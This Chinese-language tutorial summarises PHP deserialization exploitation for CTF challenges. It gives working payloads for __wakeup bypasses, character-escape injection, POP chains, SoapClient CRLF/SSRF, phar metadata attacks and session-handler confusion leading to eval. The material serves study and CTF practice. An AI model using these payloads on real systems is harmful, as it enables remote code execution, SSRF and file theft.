主頁 >  其他 > [CTF]PHP反序列化總結

[CTF]PHP反序列化總結

2021-02-04 12:12:47 其他

文章目錄

  • PHP反序列化這一篇就夠了
    • 簡介
    • 常見的序列化格式
    • 案例引入
    • 反序列化中常見的魔術方法
    • 反序列化繞過小Trick
      • php7.1+反序列化對類屬性不敏感
      • 繞過__wakeup(CVE-2016-7124)
      • 繞過部分正則
      • 利用參考
      • 16進制繞過字符的過濾
      • PHP反序列化字符逃逸
        • 情況1:過濾后字符變多
        • 情況2:過濾后字符變少
    • 物件注入
    • POP鏈的構造利用
      • POP鏈簡單介紹
      • 簡單案例講解
    • PHP原生類反序列化利用
      • SoapClient介紹
      • 利用方式
      • 實戰
    • Phar反序列化
      • 什么是phar檔案
      • phar檔案的結構
      • 漏洞利用條件
      • 受影響的函式
      • 繞過方式
    • php-session反序列化
      • session簡單介紹
      • session 的存盤機制
      • php.ini中一些session配置
      • 利用姿勢
        • session.upload_progress進行檔案包含和反序列化滲透
        • 使用不同的引擎來處理session檔案
          • $_SESSION變數直接可控
          • $_SESSION變數直接不可控
  • 參考文章

PHP反序列化這一篇就夠了

簡介

序列化其實就是將資料轉化成一種可逆的資料結構,自然,逆向的程序就叫做反序列化,

在網上找到一個比較形象的例子

比如:現在我們都會在淘寶上買桌子,桌子這種很不規則的東西,該怎么從一個城市運輸到另一個城市,這時候一般都會把它拆掉成板子,再裝到箱子里面,就可以快遞寄出去了,這個程序就類似我們的序列化的程序(把資料轉化為可以存盤或者傳輸的形式),當買家收到貨后,就需要自己把這些板子組裝成桌子的樣子,這個程序就像反序列的程序(轉化成當初的資料物件),

php 將資料序列化和反序列化會用到兩個函式

serialize 將物件格式化成有序的字串

unserialize 將字串還原成原來的物件

序列化的目的是方便資料的傳輸和存盤,在PHP中,序列化和反序列化一般用做快取,比如session快取,cookie等,

常見的序列化格式

了解即可

  • 二進制格式
  • 位元組陣列
  • json字串
  • xml字串

案例引入

簡單的例子(以陣列為例子)

<?php
$user=array('xiao','shi','zi');
$user=serialize($user);
echo($user.PHP_EOL);
print_r(unserialize($user));

他會輸出

a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
Array
(
    [0] => xiao
    [1] => shi
    [2] => zi
)

我們對上面這個例子做個簡單講解,方便大家入門

a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
a:array代表是陣列,后面的3說明有三個屬性
i:代表是整型資料int,后面的0是陣列下標
s:代表是字串,后面的4是因為xiao長度為4
    
依次類推

序列化后的內容只有成員變數,沒有成員函式,比如下面的例子

<?php
class test{
    public $a;
    public $b;
    function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
    function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
?>

輸出(O代表Object是物件的意思,也是類)

O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}

而如果變數前是protected,則會在變數名前加上\x00*\x00,private則會在變數名前加上\x00類名\x00,輸出時一般需要url編碼,若在本地存盤更推薦采用base64編碼的形式,如下:

<?php
class test{
    protected  $a;
    private $b;
    function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
    function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?>

輸出則會導致不可見字符\x00的丟失

O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}

反序列化中常見的魔術方法

__wakeup() //執行unserialize()時,先會呼叫這個函式
__sleep() //執行serialize()時,先會呼叫這個函式
__destruct() //物件被銷毀時觸發
__call() //在物件背景關系中呼叫不可訪問的方法時觸發
__callStatic() //在靜態背景關系中呼叫不可訪問的方法時觸發
__get() //用于從不可訪問的屬性讀取資料或者不存在這個鍵都會呼叫此方法
__set() //用于將資料寫入不可訪問的屬性
__isset() //在不可訪問的屬性上呼叫isset()或empty()觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__toString() //把類當作字串使用時觸發
__invoke() //當嘗試將物件呼叫為函式時觸發

反序列化繞過小Trick

php7.1+反序列化對類屬性不敏感

我們前面說了如果變數前是protected,序列化結果會在變數名前加上\x00*\x00

但在特定版本7.1以上則對于類屬性不敏感,比如下面的例子即使沒有\x00*\x00也依然會輸出abc

<?php
class test{
    protected $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function  __destruct(){
        echo $this->a;
    }
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

繞過__wakeup(CVE-2016-7124)

版本:

? PHP5 < 5.6.25

? PHP7 < 7.0.10

利用方式:序列化字串中表示物件屬性個數的值大于真實的屬性個數時會跳過__wakeup的執行

對于下面這樣一個自定義類

<?php
class test{
    public $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function __wakeup(){
        $this->a='666';
    }
    public function  __destruct(){
        echo $this->a;
    }
}

如果執行unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');輸出結果為666

而把物件屬性個數的值增大執行unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');輸出結果為abc

繞過部分正則

preg_match('/^O:\d+/')匹配序列化字串是否是物件字串開頭,這在曾經的CTF中也出過類似的考點

  • 利用加號繞過(注意在url里傳參時+要編碼為%2B)
  • serialize(array( a ) ) ; / / a));// a));//a為要反序列化的物件(序列化結果開頭是a,不影響作為陣列元素的$a的析構)
<?php
class test{
    public $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function  __destruct(){
        echo $this->a.PHP_EOL;
    }
}

function match($data){
    if (preg_match('/^O:\d+/',$data)){
        die('you lose!');
    }else{
        return $data;
    }
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +號繞過
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

利用參考

<?php
class test{
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'abc';
        $this->b= &$this->a;
    }
    public function  __destruct(){

        if($this->a===$this->b){
            echo 666;
        }
    }
}
$a = serialize(new test());

上面這個例子將$b設定為$a的參考,可以使$a永遠與$b相等

16進制繞過字符的過濾

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以寫成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符型別的s大寫時,會被當成16進制決議,

我這里寫了一個例子

<?php
class test{
    public $username;
    public function __construct(){
        $this->username = 'admin';
    }
    public function  __destruct(){
        echo 666;
    }
}
function check($data){
    if(stristr($data, 'username')!==False){
        echo("你繞不過!!".PHP_EOL);
    }
    else{
        return $data;
    }
}
// 未作處理前
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
// 做處理后 \75是u的16進制
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);

PHP反序列化字符逃逸

情況1:過濾后字符變多

首先給出本地的php代碼,很簡單不做過多的解釋,就是把反序列化后的一個x替換成為兩個

<?php
function change($str){
    return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "反序列化字串:";
var_dump(serialize($arr));
echo "<br/>";
echo "過濾后:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>此時,age=$new[1]";

正常情況,傳入name=mao

在這里插入圖片描述

如果此時多傳入一個x的話會怎樣,毫無疑問反序列化失敗,由于溢位(s本來是4結果多了一個字符出來),我們可以利用這一點實作字串逃逸

在這里插入圖片描述

首先來看看結果,再來講解

在這里插入圖片描述

我們傳入name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}
";i:1;s:6:"woaini";}這一部分一共二十個字符
由于一個x會被替換為兩個,我們輸入了一共20個x,現在是40個,多出來的20個x其實取代了我們的這二十個字符";i:1;s:6:"woaini";},從而造成";i:1;s:6:"woaini";}的溢位,而"閉合了前串,使得我們的字串成功逃逸,可以被反序列化,輸出woaini
最后的;}閉合反序列化全程序導致原來的";i:1;s:7:"I am 11";}"被舍棄,不影響反序列化程序`

情況2:過濾后字符變少

老規矩先上代碼,很簡單不做過多的解釋,就是把反序列化后的兩個x替換成為一個

<?php
function change($str){
    return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字串:";
var_dump(serialize($arr));
echo "<br/>";
echo "過濾后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此時,age=";
echo $new['age'];

正常情況傳入name=mao&age=11的結果

在這里插入圖片描述

老規矩看看最后構造的結果,再繼續講解

在這里插入圖片描述

簡單來說,就是前面少了一半,導致后面的字符被吃掉,從而執行了我們后面的代碼;
我們來看,這部分是age序列化后的結果

s:3:"age";s:28:"11";s:3:"age";s:6:"woaini";}"

由于前面是40個x所以導致少了20個字符,所以需要后面來補上,";s:3:"age";s:28:"11這一部分剛好20個,后面由于有"閉合了前面因此后面的引數就可以由我們自定義執行了

物件注入

當用戶的請求在傳給反序列化函式unserialize()之前沒有被正確的過濾時就會產生漏洞,因為PHP允許物件序列化,攻擊者就可以提交特定的序列化的字串給一個具有該漏洞的unserialize函式,最終導致一個在該應用范圍內的任意PHP物件注入,

物件漏洞出現得滿足兩個前提

1、unserialize的引數可控,
2、 代碼里有定義一個含有魔術方法的類,并且該方法里出現一些使用類成員變數作為引數的存在安全問題的函式,

比如這個例子

<?php
class A{
    var $test = "y4mao";
    function __destruct(){
        echo $this->test;
    }
}
$a = 'O:1:"A":1:{s:4:"test";s:5:"maomi";}';
unserialize($a);

在腳本運行結束后便會呼叫_destruct函式,同時會覆寫test變數輸出maomi

POP鏈的構造利用

POP鏈簡單介紹

前面所講解的序列化攻擊更多的是魔術方法中出現一些利用的漏洞,因為自動呼叫而觸發漏洞,但如果關鍵代碼不在魔術方法中,而是在一個類的普通方法中,這時候可以通過尋找相同的函式名將類的屬性和敏感函式的屬性聯系起來

簡單案例講解

首先看看簡單的MRCTF2020-Ezpop,不帶大家一一讀代碼了,自己解決

<?php

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

這里我直接說利用思路,首先逆向分析,我們最終是希望通過Modifier當中的append方法實作本地檔案包含讀取檔案,回溯到呼叫它的__invoke,當我們將物件呼叫為函式時觸發,發現在Test類當中的__get方法,再回溯到Show當中的__toString,再回溯到Show當中的__construct當中有echo $this->source可以呼叫__toString

因此不難構造pop鏈

<?php
ini_set('memory_limit','-1');
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
        $this->str = new Test();
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));

PHP原生類反序列化利用

SoapClient介紹

綜述:

php在安裝php-soap拓展后,可以反序列化原生類SoapClient,來發送http post請求,

必須呼叫SoapClient不存在的方法,觸發SoapClient的__call魔術方法,

通過CRLF來添加請求體:SoapClient可以指定請求的user-agent頭,通過添加換行符的形式來加入其他請求內容

SoapClient采用了HTTP作為底層通訊協議,XML作為資料傳送的格式,其采用了SOAP協議(SOAP 是一種簡單的基于 XML 的協議,它使應用程式通過 HTTP 來交換資訊),其次我們知道某個實體化的類,如果去呼叫了一個不存在的函式,會去呼叫__call方法,具體詳細的資訊大家可以去搜索引擎看看,這里不再贅述

利用方式

下面首先在我的VPS上面開啟監聽nc -lvvp 9328

<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://xxxx.xxx.xx:9328'));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//呼叫不存在的方法,讓SoapClient呼叫__call

運行上面的php程式,在我的vps上面獎會捕獲監聽

在這里插入圖片描述

從上面這張圖可以看到,SOAPAction處是我們的可控引數,因此我們可以嘗試注入我們自己惡意構造的CRLF即插入**\r\n**,利用成功!

在這里插入圖片描述

但是還有個問題我們再發送POST資料的時候是需要遵循HTTP協議,指定請求頭Content-Type: application/x-www-form-urlencodedContent-TypeSOAPAction的上面,就無法控制Content-Type,也就不能控制POST的資料

接下來我們實驗一下

在這里插入圖片描述

實戰

反序列化我們傳入的vip執行getFlag函式(迷惑人的函式)

<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
$vip->getFlag();
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
?
?
if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

由于服務器帶有cloudfare代理,我們無法通過本地構造XFF頭實作繞過,我們需要使用SoapClient與CRLF實作SSRF訪問127.0.0.1/flag.php,即可繞過cloudfare代理

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
    'X-Forwarded-For: 127.0.0.1,127.0.0.1',
    'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);

接下來訪問flag.txt即可

Phar反序列化

phar檔案本質上是一種壓縮檔案,會以序列化的形式存盤用戶自定義的meta-data,當受影響的檔案操作函式呼叫phar檔案時,會自動反序列化meta-data內的內容,

什么是phar檔案

在軟體中,PHAR(PHP歸檔)檔案是一種打包格式,通過將許多PHP代碼檔案和其他資源(例如影像,樣式表等)捆綁到一個歸檔檔案中來實作應用程式和庫的分發

php通過用戶定義和內置的“流包裝器”實作復雜的檔案處理功能,內置包裝器可用于檔案系統函式,如(fopen(),copy(),file_exists()和filesize(), phar://就是一種內置的流包裝器,

php中一些常見的流包裝器如下:

file:// — 訪問本地檔案系統,在用檔案系統函式時默認就使用該包裝器
http:// — 訪問 HTTP(s) 網址
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams)
zlib:// — 壓縮流
data:// — 資料(RFC 2397)
glob:// — 查找匹配的檔案路徑模式
phar:// — PHP 歸檔
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音頻流
expect:// — 處理互動式的流

phar檔案的結構

stub:phar檔案的標志,必須以 xxx __HALT_COMPILER();?> 結尾,否則無法識別,xxx可以為自定義內容,
manifest:phar檔案本質上是一種壓縮檔案,其中每個被壓縮檔案的權限、屬性等資訊都放在這部分,這部分還會以序列化的形式存盤用戶自定義的meta-data,這是漏洞利用最核心的地方,
content:被壓縮檔案的內容
signature (可空):簽名,放在末尾,

如何生成一個phar檔案?下面給出一個參考例子

<?php
    class Test {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后綴名必須為phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設定stub
    $o = new Test();
    $phar->setMetadata($o); //將自定義的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要壓縮的檔案
    //簽名自動計算
    $phar->stopBuffering();
?>

漏洞利用條件

  1. phar檔案要能夠上傳到服務器端,
  2. 要有可用的魔術方法作為“跳板”,
  3. 檔案操作函式的引數可控,且:/phar等特殊字符沒有被過濾,

受影響的函式

知道創宇測驗后受影響的函式串列:

在這里插入圖片描述

實際上不止這些,也可以參考這篇鏈接,里面有詳細說明https://blog.zsxsoft.com/post/38

當然為了閱讀方便,這里便把它整理過來

//exif
exif_thumbnail
exif_imagetype
    
//gd
imageloadfont
imagecreatefrom***系列函式
    
//hash
    
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
    
// file/url
get_meta_tags
get_headers
    
//standard 
getimagesize
getimagesizefromstring
    
// zip   
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
// Bzip / Gzip 當環境限制了phar不能出現在前面的字符里,可以使用compress.bzip2://和compress.zlib://繞過
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';

//配合其他協議:(SUCTF)
//https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/
//當環境限制了phar不能出現在前面的字符里,還可以配合其他協議進行利用,
//php://filter/read=convert.base64-encode/resource=phar://phar.phar

//Postgres pgsqlCopyToFile和pg_trace同樣也是能使用的,需要開啟phar的寫功能,
<?php
	$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
	@$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>
    
// Mysql
//LOAD DATA LOCAL INFILE也會觸發這個php_stream_open_wrapper
//配置一下mysqld:
//[mysqld]
//local-infile=1
//secure_file_priv=""
    
<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');
?>

繞過方式

當環境限制了phar不能出現在前面的字符里,可以使用compress.bzip2://compress.zlib://等繞過

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

當環境限制了phar不能出現在前面的字符里,還可以配合其他協議進行利用,
php://filter/read=convert.base64-encode/resource=phar://phar.phar

GIF格式驗證可以通過在檔案頭部添加GIF89a繞過
1、$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //設定stub
2、生成一個phar.phar,修改后綴名為phar.gif

php-session反序列化

session簡單介紹

在計算機中,尤其是在網路應用中,稱為“會話控制”,Session 物件存盤特定用戶會話所需的屬性及配置資訊,這樣,當用戶在應用程式的 Web 頁之間跳轉時,存盤在 Session 物件中的變數將不會丟失,而是在整個用戶會話中一直存在下去,當用戶請求來自應用程式的 Web 頁時,如果該用戶還沒有會話,則 Web 服務器將自動創建一個 Session 物件,當會話過期或被放棄后,服務器將終止該會話,

當第一次訪問網站時,Seesion_start()函式就會創建一個唯一的Session ID,并自動通過HTTP的回應頭,將這個Session ID保存到客戶端Cookie中,同時,也在服務器端創建一個以Session ID命名的檔案,用于保存這個用戶的會話資訊,當同一個用戶再次訪問這個網站時,也會自動通過HTTP的請求頭將Cookie中保存的Seesion ID再攜帶過來,這時Session_start()函式就不會再去分配一個新的Session ID,而是在服務器的硬碟中去尋找和這個Session ID同名的Session檔案,將這之前為這個用戶保存的會話資訊讀出,在當前腳本中應用,達到跟蹤這個用戶的目的,

session 的存盤機制

php中的session中的內容并不是放在記憶體中的,而是以檔案的方式來存盤的,存盤方式就是由配置項session.save_handler來進行確定的,默認是以檔案的方式存盤,
存盤的檔案是以sess_sessionid來進行命名的

php_serialize經過serialize()函式序列化陣列
php鍵名+豎線+經過serialize()函式處理的值
php_binary鍵名的長度對應的ascii字符+鍵名+serialize()函式序列化的值

php.ini中一些session配置

session.save_path="" --設定session的存盤路徑
session.save_handler=""–設定用戶自定義存盤函式,如果想使用PHP內置會話存盤機制之外的可以使用本函式(資料庫等方式)
session.auto_start boolen–指定會話模塊是否在請求開始時啟動一個會話默認為0不啟動
session.serialize_handler string–定義用來序列化/反序列化的處理器名字,默認使用php

利用姿勢

session.upload_progress進行檔案包含和反序列化滲透

這篇文章說的很詳細了,沒必要班門弄斧

https://www.freebuf.com/vuls/202819.html

使用不同的引擎來處理session檔案

$_SESSION變數直接可控

php引擎的存盤格式是鍵名|serialized_string,而php_serialize引擎的存盤格式是serialized_string,如果程式使用兩個引擎來分別處理的話就會出現問題

來看看這兩個php

// 1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['y4'] = $_GET['a'];
var_dump($_SESSION);
//2.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test{
    public $name;
    function __wakeup(){
        echo $this->name;
    }
}

首先訪問1.php,傳入引數a=|O:4:"test":1:{s:4:"name";s:8:"y4tacker";}再訪問2.php,注意不要忘記|

在這里插入圖片描述

由于1.php是使用php_serialize引擎處理,因此只會把'|'當做一個正常的字符,然后訪問2.php,由于用的是php引擎,因此遇到'|'時會將之看做鍵名與值的分割符,從而造成了歧義,導致其在決議session檔案時直接對'|'后的值進行反序列化處理,

這里可能會有一個小疑問,為什么在決議session檔案時直接對'|'后的值進行反序列化處理,這也是處理器的功能?這個其實是因為session_start()這個函式,可以看下官方說明:

當會話自動開始或者通過 session_start() 手動開始的時候, PHP 內部會呼叫會話管理器的 open 和 read 回呼函式, 會話管理器可能是 PHP 默認的, 也可能是擴展提供的(SQLite 或者 Memcached 擴展), 也可能是通過 session_set_save_handler() 設定的用戶自定義會話管理器, 通過 read 回呼函式回傳的現有會話資料(使用特殊的序列化格式存盤),PHP 會自動反序列化資料并且填充 $_SESSION 超級全域變數

因此我們成功觸發了test類中的__wakeup()方法,所以這種攻擊思路是可行的,但這種方法是在可以對session的進行賦值的,那如果代碼中不存在對$_SESSION變數賦值的情況下又該如何利用

$_SESSION變數直接不可控

我們來看高校戰疫的一道CTF題目

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

我們注意到這樣一句話ini_set('session.serialize_handler', 'php');,因此不難猜測本身在php.ini當中的設定可能是php_serialize,在查看了phpinfo后得證猜測正確,也知道了這道題的考點

那么我們就進入phpinfo查看一下,enabled=on表示upload_progress功能開始,也意味著當瀏覽器向服務器上傳一個檔案時,php將會把此次檔案上傳的詳細資訊(如上傳時間、上傳進度等)存盤在session當中 ;只需往該地址任意 POST 一個名為 PHP_SESSION_UPLOAD_PROGRESS 的欄位,就可以將filename的值賦值到session中

在這里插入圖片描述

構造檔案上傳的表單

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="777" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

接下來構造序列化payload

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);
?>

由于采用Burp發包,為防止雙引號被轉義,在雙引號前加上\,除此之外還要加上|

在這個頁面隨便上傳一個檔案,然后抓包修改filename的值

在這里插入圖片描述

可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php這個檔案,flag肯定在里面,但還有一個問題就是不知道這個路徑,路徑的問題就需要回到phpinfo頁面去查看

在這里插入圖片描述

因此我們只需要把payload,當中改為print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));即可獲取flag

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz='print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
}
$obj = new OowoO();
echo serialize($obj);
?>

參考文章

https://xz.aliyun.com/t/2715
https://xz.aliyun.com/t/2613
https://threezh1.com/2019/09/09/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
https://blog.csdn.net/qq_43431158/article/details/99544797
https://www.cnblogs.com/or4nge/p/13439974.html
https://blog.zsxsoft.com/post/38
https://paper.seebug.org/680/
https://www.freebuf.com/articles/web/182231.html
https://www.freebuf.com/vuls/202819.html

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/256328.html

標籤:其他

上一篇:Apache Druid RCE(CVE-2021-25646)復現

下一篇:逆向迷宮題總結(持續更新) 2019華南師大CTF新生賽maze,攻防世界新手區:NJUPT CTF 2017,BUUCTF:不一樣的flag

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

